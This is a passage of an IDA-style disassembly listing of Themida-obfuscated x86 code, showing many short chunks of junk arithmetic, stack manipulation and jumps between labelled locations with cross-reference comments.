; ---------------------------------------------------------------------------


loc_5A3043:				; CODE XREF: Themida_:0059B1FEj
		add	dh, 0F5h
		sub	al, dh
		pop	edx
		jmp	loc_5A2110
; ---------------------------------------------------------------------------


loc_5A304E:				; CODE XREF: Themida_:005A247Dj
		xor	dword ptr [eax], 2594285Bh
		jmp	loc_594F01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3059:				; CODE XREF: sub_59390B+72D1j
		pop	edx
		sub	eax, 4
		jmp	loc_59FD1C
; ---------------------------------------------------------------------------


loc_5A3062:				; CODE XREF: sub_59390B+5C1Cj
		pop	esi
		add	esi, 1
		add	esi, 4174233Ah
		push	ebx
		push	edx
		mov	edx, 1E923509h
		mov	ebx, edx
		pop	edx
		sub	ebx, 24F271F6h
		xor	ebx, 52963E6Ah
		not	ebx
		sub	esp, 4
		mov	[esp+0], ebp
		jmp	loc_595F6D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A308F:				; CODE XREF: Themida_:0059B62Ej
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	3FBh
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_592D0B
; ---------------------------------------------------------------------------


loc_5A30BA:				; CODE XREF: Themida_:00597D18j
		mov	eax, 0
		jmp	loc_5A3003
; ---------------------------------------------------------------------------


loc_5A30C4:				; CODE XREF: Themida_:005976B5j
		push	edx
		mov	dh, 0Ch
		sub	dh, 0C1h
		jmp	loc_59BEB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A30CF:				; CODE XREF: sub_59390B+5Aj
		add	edi, 0FFC7AF75h
		mov	edx, edi
		pop	edi
		add	edi, edx
		jmp	loc_595191
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A30DF:				; CODE XREF: Themida_:0059E3D8j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		jmp	loc_594325
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A30F7:				; CODE XREF: sub_59A75E-91E6j
		sub	ecx, 4600F31h
		sub	ecx, ebp
		push	edi
		mov	edi, 54EC5F64h
		sub	edi, 508C5033h
		jmp	loc_596B15
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3110:				; CODE XREF: sub_59390B+7C16j
		xor	[esp-10h+arg_8], ecx
		xor	ecx, [esp-10h+arg_8]
		pop	esp
		jmp	loc_59C1AB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A311C:				; CODE XREF: Themida_:0059C951j
		add	ebx, 153B7BDAh
		jmp	loc_59C01C
; ---------------------------------------------------------------------------


loc_5A3127:				; CODE XREF: Themida_:005A4BCDj
		mov	[esp], cx
		jmp	loc_59B1EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A3130:				; CODE XREF: sub_595BAD+14j
		add	[esp+8+var_4], eax
		pop	eax
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_5A1215
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A314A:				; CODE XREF: sub_59FCCB+4A57j
		mov	[esp+6+var_8+2], eax
		sub	esp, 4
		jmp	loc_5954A1
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3155:				; CODE XREF: sub_59390B+92D8j
		add	edi, 4
		xor	edi, [esp-10h+arg_8]
		xor	[esp-10h+arg_8], edi
		jmp	loc_5A54B8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3163:				; CODE XREF: Themida_:005A0130j
		pop	edx
		mov	edx, ebp
		pop	ebp
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_597EF5
; ---------------------------------------------------------------------------


loc_5A3175:				; CODE XREF: Themida_:005A5182j
		pop	ebp
		push	edx
		mov	edx, 74A82DD4h
		add	ecx, edx
		jmp	loc_5923E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3183:				; CODE XREF: sub_59390B+D77Bj
		mov	dh, ah
		mov	ch, dh
		mov	edx, [esp-18h+arg_10]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	sub_5A0060
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3198:				; CODE XREF: Themida_:005A4F8Fj
		mov	al, 0C5h
		sub	bh, al
		jmp	loc_5A1580
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A31A1:				; CODE XREF: sub_59390B+489Dj
		push	edi
		push	edx
		mov	edx, 29E3321Bh
		xchg	ebp, edx
		neg	ebp
		xchg	ebp, edx
		not	edx
		sub	esp, 4
		jmp	loc_594BAA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A31BB:				; CODE XREF: Themida_:005A0A45j
		pop	esp
		mov	[esp], esp
		jmp	loc_595FE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_5A31C4:				; CODE XREF: sub_5A3536-D9E3j
		sub	edi, ebp
		add	edi, 44A46F5h
		pop	ebp
		sub	ebx, edi
		mov	edi, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5966C2
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A31E0:				; CODE XREF: sub_59CAFB+1D1Dj
		push	[esp+4+var_4]
		mov	ebp, [esp+8+var_8]
		jmp	loc_59322D
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A31EB:				; CODE XREF: sub_59390B+7C03j
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp-0Ch+arg_4]
		xor	[esp-0Ch+arg_4], ebp
		xor	ebp, [esp-0Ch+arg_4]
		pop	esp
		pop	[esp-10h+arg_8]
		pop	esp
		bt	[esp-18h+arg_10], eax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A320F:				; CODE XREF: Themida_:0059DD9Aj
		mov	esi, edi
		pop	edi
		sub	ebx, 5DF30F77h
		add	ebx, esi
		add	ebx, 5DF30F77h
		pop	esi
		jmp	loc_59B3FF
; ---------------------------------------------------------------------------


loc_5A3226:				; CODE XREF: Themida_:00592F7Bj
		xchg	edx, [esp]
		pop	esp
		add	dword ptr [esp+4], 48000306h
		add	[esp+4], edx
		push	ebx
		mov	ebx, 164A26FEh
		neg	ebx
		inc	ebx
		and	ebx, 1518730Eh
		shl	ebx, 8
		sub	ebx, 0C850FEFAh
		add	dword ptr [esp+8], 13097CEAh
		sub	[esp+8], ebx
		jmp	loc_5967E8
; ---------------------------------------------------------------------------


loc_5A325F:				; CODE XREF: Themida_:00598699j
		pop	eax
		push	0
		sub	[esp], ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 1
		xor	ebp, 0D64BC71Fh
		push	ecx
		mov	ecx, 13FF74C4h
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59605F


loc_5A3286:				; CODE XREF: sub_59605F+3j
		push	edi
		mov	edi, 11045E2Fh
		inc	edi
		jmp	loc_59C80F
; END OF FUNCTION CHUNK	FOR sub_59605F
; ---------------------------------------------------------------------------


loc_5A3292:				; CODE XREF: Themida_:005A0974j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 2DAF18C6h
		add	ebx, edx
		add	ebx, 2DAF18C6h
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 25D479C2h
		sub	ebx, 25D479BEh
		add	edx, ebx
		pop	ebx
		jmp	loc_5A01AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A32D5:				; CODE XREF: sub_594A8D+684Cj
		xor	edi, ebp
		jmp	loc_5A376D
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A32DC:				; CODE XREF: sub_59390B+94E4j
		pop	ecx
		push	eax
		push	23B3h
		jmp	loc_59834C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A32E8:				; CODE XREF: Themida_:005A207Cj
		add	ecx, 0FFFFFFFFh
		shl	ecx, 5
		push	edx
		jmp	loc_59E805
; ---------------------------------------------------------------------------


loc_5A32F4:				; CODE XREF: Themida_:0059660Aj
		sub	ecx, edi
		add	ecx, 320427D4h
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5991C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3308:				; CODE XREF: sub_59390B+AC6Dj
		add	edx, 4
		jmp	loc_59C521
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3313:				; CODE XREF: Themida_:00594DA3j
		add	cl, 0FBh
		shr	cl, 3
		xor	cl, 0F8h
		add	dl, cl
		pop	ecx
		neg	dl
		jmp	loc_5927A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A3326:				; CODE XREF: sub_59918B-27C0j
		add	edx, 4
		add	edx, 4
		jmp	loc_5969F7
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A3337:				; CODE XREF: sub_59FCCB+272Bj
		add	bl, al
		jmp	loc_59DEE1
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E716


loc_5A333E:				; CODE XREF: sub_59E716-2A09j
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_594390
; END OF FUNCTION CHUNK	FOR sub_59E716
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598BAA


loc_5A3346:				; CODE XREF: sub_598BAA-2952j
		xor	ebp, [esp-4+arg_0]
		jmp	loc_59FFDE
; END OF FUNCTION CHUNK	FOR sub_598BAA
; ---------------------------------------------------------------------------


loc_5A334E:				; CODE XREF: Themida_:00598063j
		mov	esi, [esp]
		jmp	loc_598C28
; ---------------------------------------------------------------------------
		push	65AAh
		mov	[esp], ebx
		push	0FFFFFBFFh
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_599DE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A336E:				; CODE XREF: sub_59FCCB-603Aj
		mov	ah, dh
		mov	cl, ah
		pop	eax
		pop	edx
		jmp	loc_59D0F8
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3379:				; CODE XREF: sub_59390B+E9D5j
		mov	[esp+10h+var_10], ecx
		mov	ecx, esp
		jmp	loc_596381
; ---------------------------------------------------------------------------


loc_5A3383:				; CODE XREF: sub_59390B+A032j
		pop	esp
		push	5F2Bh
		jmp	loc_596346
; ---------------------------------------------------------------------------


loc_5A338E:				; CODE XREF: sub_59390B+8CBFj
		push	esi
		mov	esi, 62766F83h
		jmp	loc_59B9DD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3399:				; CODE XREF: Themida_:005A4EACj
		mov	edx, 4
		add	edi, 5A630F88h
		add	edi, 28B444E8h
		sub	edi, edx
		jmp	loc_5998C3
; ---------------------------------------------------------------------------


loc_5A33B1:				; CODE XREF: Themida_:00597D11j
		push	edx
		mov	edx, 0AE14153h
		dec	edx
		jmp	loc_59C0C2
; ---------------------------------------------------------------------------


loc_5A33BD:				; CODE XREF: Themida_:0059E46Ej
		mov	[esp], ecx
		jmp	loc_594987
; ---------------------------------------------------------------------------


loc_5A33C5:				; CODE XREF: Themida_:00596D2Dj
		xor	edx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A33D4:				; CODE XREF: Themida_:0059DA7Fj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59C102
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_599DC1
; ---------------------------------------------------------------------------


loc_5A33F4:				; CODE XREF: Themida_:005A2B58j
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_59468C
; ---------------------------------------------------------------------------


loc_5A340E:				; CODE XREF: Themida_:005A27B4j
		push	ebp
		push	esi
		mov	esi, 7DC2777Ah
		add	esi, 1B3E4DEBh
		push	eax
		mov	eax, 0A14676Dh
		sub	eax, 0FC7C3764h
		jmp	loc_59124F
; ---------------------------------------------------------------------------


loc_5A342B:				; CODE XREF: Themida_:00597F13j
		shl	edi, 2
		add	edi, 13D717Ch
		push	ecx
		mov	ecx, 0BD067EBFh
		sub	edi, ecx
		pop	ecx
		jmp	loc_59EF16
; ---------------------------------------------------------------------------


loc_5A3442:				; DATA XREF: Themida_:00590808o
		mov	cx, [esp]
		jmp	loc_59B08B
; ---------------------------------------------------------------------------


loc_5A344B:				; CODE XREF: Themida_:005A38D7j
		add	ebx, 4
		push	6A8Ch
		jmp	loc_5A4D76
; ---------------------------------------------------------------------------


loc_5A345B:				; CODE XREF: Themida_:00591F08j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2588h
		mov	[esp], ebp
		jmp	loc_5A0A30
; ---------------------------------------------------------------------------


loc_5A3488:				; CODE XREF: Themida_:00597430j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59884D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_5A34A9:				; CODE XREF: sub_5A2801+AAj
		mov	[esp+0Ch+var_C], edi
		mov	edi, 4
		add	ebx, edi
		push	[esp+0Ch+var_C]
		pop	edi
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		jmp	loc_5A4E42
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_5A34C5:				; CODE XREF: sub_59886E+5DAAj
		mov	eax, 0C6A2172Fh
		sub	ebx, eax
		pop	eax
		jmp	loc_5A08D0
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_5A34D2:				; CODE XREF: sub_5950DF+302Cj
		push	eax
		neg	[esp+4+var_4]
		pop	eax
		push	ebx
		mov	ebx, 742C4779h
		add	eax, ebx
		jmp	loc_59D9D0
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------


loc_5A34E4:				; CODE XREF: Themida_:005A533Ej
		or	eax, 46CB11BFh
		jmp	loc_59E1EB
; ---------------------------------------------------------------------------


loc_5A34EE:				; CODE XREF: Themida_:005A4D71j
		mov	esp, [esp]
		jmp	loc_59CD98
; ---------------------------------------------------------------------------


loc_5A34F6:				; CODE XREF: Themida_:005915A5j
		add	edi, 322E11FBh
		add	edi, ebx
		sub	edi, 322E11FBh
		sub	edi, 0A5524DEh
		jmp	loc_594B52
; ---------------------------------------------------------------------------


loc_5A350F:				; CODE XREF: Themida_:0059875Dj
		sub	dword ptr [esp+4], 204C0105h
		sub	dword ptr [esp+4], 0EF60AFAh
		jmp	loc_599B83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5A3524:				; CODE XREF: sub_5964AF+301Dj
		xor	edx, esi
		jmp	loc_5A489A
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A352B:				; CODE XREF: sub_59390B+5D11j
		sub	edi, 7B866EE4h
		jmp	loc_5910EA
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_5A3536	proc near		; DATA XREF: Themida_:00590A14o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 005912C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005949C9 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00595B3E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005966C2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00597B04 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059902E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A07DC SIZE 00000050 BYTES
; FUNCTION CHUNK AT 005A1B54 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A31C4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A4DC3 SIZE 00000012 BYTES

		mov	ax, [esp+0]
		push	edx
		jmp	loc_59902E
sub_5A3536	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_5A3540:				; CODE XREF: sub_5A113A-6FD9j
		add	esi, 4
		jmp	loc_59C129
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------
byte_5A354B	db 66h			; DATA XREF: Themida_:005909C8o
		dd 68240C8Bh, 7A06h, 68241C89h,	5C4Dh, 0FFD472E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3561:				; CODE XREF: Themida_:00595D78j
		shl	edi, 3
		jmp	loc_59A8DE
; ---------------------------------------------------------------------------


loc_5A3569:				; CODE XREF: Themida_:0059A8A7j
		mov	eax, 4
		jmp	loc_596AFD
; ---------------------------------------------------------------------------


loc_5A3573:				; CODE XREF: Themida_:00592F8Ej
		push	eax
		mov	ah, 0DEh
		push	bx
		mov	bh, 0FFh
		jmp	loc_5A4BDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_5A357F:				; CODE XREF: sub_590BDF+3891j
		pop	esi
		sub	ebx, 0E774503h
		add	ebx, 587802F8h
		inc	ebx
		neg	ebx
		add	ebx, 687BE199h
		add	edx, ebx
		jmp	loc_59B02C
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A359C:				; CODE XREF: sub_59CFD4+786j
		xor	ebx, [esp+10h+var_10]
		pop	esp
		pop	ecx
		and	eax, ebp
		push	[esp+8+var_8]
		jmp	loc_599BED
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A35AB:				; CODE XREF: sub_59390B+101A1j
		sub	edx, 4
		xchg	edx, [esp-12h+arg_8+2]
		jmp	loc_5981F5
; ---------------------------------------------------------------------------


loc_5A35B9:				; CODE XREF: sub_59390B-2147j
		shl	edx, 2
		shr	edx, 3
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 80A11Ch
		sub	edx, ebp
		pop	ebp
		jmp	loc_5974FE
; ---------------------------------------------------------------------------


loc_5A35D2:				; CODE XREF: sub_59390B+2892j
		mov	[esp-1Eh+arg_14+2], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 7B610222h
		push	esi
		jmp	loc_5A3B1B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_5A35E3:				; CODE XREF: sub_59F4E7+48CEj
		mov	[esp-0Ch+arg_8], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp-8+arg_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59B481
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_5A35FB:				; CODE XREF: sub_590BDF+5B45j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 784B563Ah
		neg	edi
		shl	edi, 3
		dec	edi
		shl	edi, 6
		sub	edi, 69538BBCh
		sub	edx, edi
		jmp	loc_5A3FA7
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3620:				; CODE XREF: sub_59390B+10DC0j
		mov	dh, cl
		xchg	ch, dh
		not	ch
		xchg	ch, dh
		mov	cl, dh
		pop	dx
		push	bx
		mov	bl, 0BEh
		sub	cl, bl
		pop	bx
		push	ebx
		mov	bl, 9
		jmp	loc_59353F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A363C:				; CODE XREF: Themida_:00595F07j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		jmp	loc_599F29
; ---------------------------------------------------------------------------


loc_5A3658:				; CODE XREF: Themida_:00596CCAj
		inc	ecx
		add	ecx, 0FB591781h
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	eax
		push	esi
		jmp	loc_59D0D8
; ---------------------------------------------------------------------------


loc_5A366A:				; DATA XREF: Themida_:00590980o
		push	dword ptr [esp]
		pop	ecx
		push	7347h
		mov	[esp], ebp
		jmp	loc_5A4013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F121


loc_5A367B:				; CODE XREF: sub_59F121-A460j
		sub	esi, ebx
		pop	ebx
		mov	ebp, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 3BFE7284h
		xor	ebp, edx
		pop	edx
		push	edi
		mov	edi, 74E35925h
		or	ebp, edi
		pop	edi
		dec	ebp
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 2FD200B6h
		and	ebp, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 2129089Ch
		push	edx
		dec	[esp+4+var_4]
		pop	edx
		not	edx
		jmp	sub_59A431
; END OF FUNCTION CHUNK	FOR sub_59F121
; ---------------------------------------------------------------------------


loc_5A36C4:				; CODE XREF: Themida_:00591E18j
		dec	ebx
		jmp	loc_591BC4
; ---------------------------------------------------------------------------


loc_5A36CA:				; CODE XREF: Themida_:005A3CF4j
		mov	[esp], edx
		push	ebx
		mov	bh, 2Dh
		shr	bh, 3
		dec	bh
		add	bh, 0BBh
		mov	dl, bh
		pop	ebx
		inc	dl
		or	dl, 61h
		jmp	loc_59CDBD
; ---------------------------------------------------------------------------


loc_5A36E5:				; CODE XREF: Themida_:00590B40j
		pop	edx
		jmp	loc_5A5A60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A36EB:				; CODE XREF: sub_59390B+11353j
		sub	edi, 106B04E5h
		pop	edx
		sub	esp, 4
		jmp	loc_5A0D29
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A36FD:				; CODE XREF: Themida_:0059B7D1j
		push	ecx
		push	4
		pop	ecx
		add	ebp, ecx
		jmp	loc_594581
; ---------------------------------------------------------------------------


loc_5A370B:				; CODE XREF: Themida_:0059B806j
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59E9CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3720:				; CODE XREF: sub_59390B+509j
		and	edi, 27106EFFh
		dec	edi
		sub	edi, 0DEF71CC9h
		xor	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, ecx
		jmp	loc_59B788
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_5A3738:				; CODE XREF: sub_5936EC+24B2j
		add	ebx, 67236F13h
		sub	ebx, 66936A62h
		sub	ebx, ebp
		add	ebx, 66936A62h
		sub	ebx, 67236F13h
		pop	ebp
		jmp	loc_5A55AC
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A3758:				; CODE XREF: sub_594A8D+7D0Cj
		push	esi
		mov	esi, 0C734E53h
		shr	esi, 6
		dec	esi
		push	edi
		mov	edi, 29B3148Ch
		jmp	loc_59B641
; ---------------------------------------------------------------------------


loc_5A376D:				; CODE XREF: sub_594A8D+E84Aj
		pop	ebp
		and	edi, 461565E0h
		xor	edi, 420440E1h
		sub	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	esi, ebx
		pop	ebx
		jmp	loc_597E88
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A378B:				; CODE XREF: sub_59390B+8E0j
		pop	dword ptr [edi+24h]


loc_5A378E:				; CODE XREF: sub_59390B+A496j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+8+var_8]
		jmp	loc_593B9A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A37A5:				; CODE XREF: Themida_:005A44FEj
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_597A6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_5A37BF:				; CODE XREF: sub_5A3F6E-D8B1j
		add	ecx, ebx
		pop	ebx
		push	617Eh
		mov	[esp+0], edi
		push	4
		pop	edi
		sub	ecx, edi
		jmp	loc_594A4C
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------


loc_5A37D7:				; CODE XREF: Themida_:005A4EEDj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_59D3E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A37E2:				; CODE XREF: sub_59390B+738Fj
		mov	[esp+18h+var_18], esi
		mov	esi, esp
		push	edi
		push	ecx
		mov	ecx, 430E1646h
		not	ecx
		inc	ecx
		neg	ecx
		jmp	loc_5948CB
; ---------------------------------------------------------------------------


loc_5A37F8:				; CODE XREF: sub_59390B+11054j
		mov	[esp+0], esi
		mov	esi, 5D30CEEBh
		add	eax, 58430A8h
		sub	eax, 733809F3h
		add	eax, esi
		add	eax, 733809F3h
		sub	eax, 58430A8h
		jmp	loc_59770F
; ---------------------------------------------------------------------------


loc_5A381B:				; CODE XREF: sub_59390B+4CD3j
		xchg	edx, [esp+0]
		jmp	loc_594DF6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5A3823:				; CODE XREF: sub_5964AF+E238j
		pop	eax
		jmp	loc_5A4789
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------


loc_5A3829:				; CODE XREF: Themida_:0059C478j
		add	edx, 2FC9A680h
		add	ebp, edx
		pop	edx
		sub	ebp, ebx
		sub	ebp, 558B2609h
		pop	ebx
		push	ecx
		mov	ecx, 71060DE5h
		push	esi
		mov	esi, 1
		sub	ecx, esi
		pop	esi
		jmp	loc_593682
; ---------------------------------------------------------------------------


loc_5A384F:				; CODE XREF: Themida_:00592A22j
		mov	esp, [esp]
		jmp	loc_592016
; ---------------------------------------------------------------------------


loc_5A3857:				; CODE XREF: Themida_:0059DD85j
		push	edx
		mov	edx, 6F956564h
		mov	ecx, 6F956560h
		xor	ecx, edx
		pop	edx
		push	28C7h
		jmp	loc_5996C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_5A386F:				; CODE XREF: sub_598762-2EACj
		add	edx, 4
		push	edi
		jmp	loc_59C16D
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------


loc_5A387B:				; CODE XREF: Themida_:00596C5Bj
		pop	edi
		or	ebp, 2C2C4E97h
		jmp	loc_59EF5D
; ---------------------------------------------------------------------------


loc_5A3887:				; CODE XREF: Themida_:005957DFj
		push	ebp
		push	edx
		jmp	loc_5A1884
; ---------------------------------------------------------------------------


